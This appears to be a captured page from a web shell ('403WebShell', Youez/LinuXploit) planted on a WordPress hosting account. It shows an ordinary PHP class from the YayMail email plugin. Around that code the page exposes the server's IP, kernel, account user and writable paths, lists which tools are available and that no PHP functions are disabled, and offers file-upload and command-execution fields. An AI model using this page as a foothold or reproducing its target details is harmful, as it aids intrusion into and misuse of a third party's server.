Done ! 403WebShell
403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.150
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/yeslicense.org/wp-content/plugins/yaymail/src/TemplatePatterns/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/yeslicense.org/wp-content/plugins/yaymail/src/TemplatePatterns/PatternService.php
<?php
namespace YayMail\TemplatePatterns;

use YayMail\Abstracts\BasePattern;
use YayMail\Utils\SingletonTrait;

/**
 * Class PatternService
 */
class PatternService {

    use SingletonTrait;

    protected $patterns = [];

    /**
     * @param BasePattern $section_template_instance SectionTemplate object
     */
    public function register( BasePattern $pattern_instance ) {
        if ( ! $pattern_instance instanceof BasePattern ) {
            return;
        }

        $registered_patterns = array_map(
            function( $item ) {
                return $item->get_type();
            },
            $this->patterns
        );

        if ( in_array( $pattern_instance->get_type(), $registered_patterns, true ) ) {
            return;
        }

        $this->patterns[] = $pattern_instance;

        $registered_sections = SectionTemplateService::get_instance()->get_list();

        foreach ( $registered_sections as $section ) {
            if ( $section->get_type() === $pattern_instance->get_section() ) {

                $section->add_pattern( $pattern_instance );
            }
        }

    }

    public function get_list() {
        return $this->patterns;
    }

    public function get_list_data() {
        return array_map(
            function( BasePattern $item ) {
                return $item->get_raw_data();
            },
            $this->patterns
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit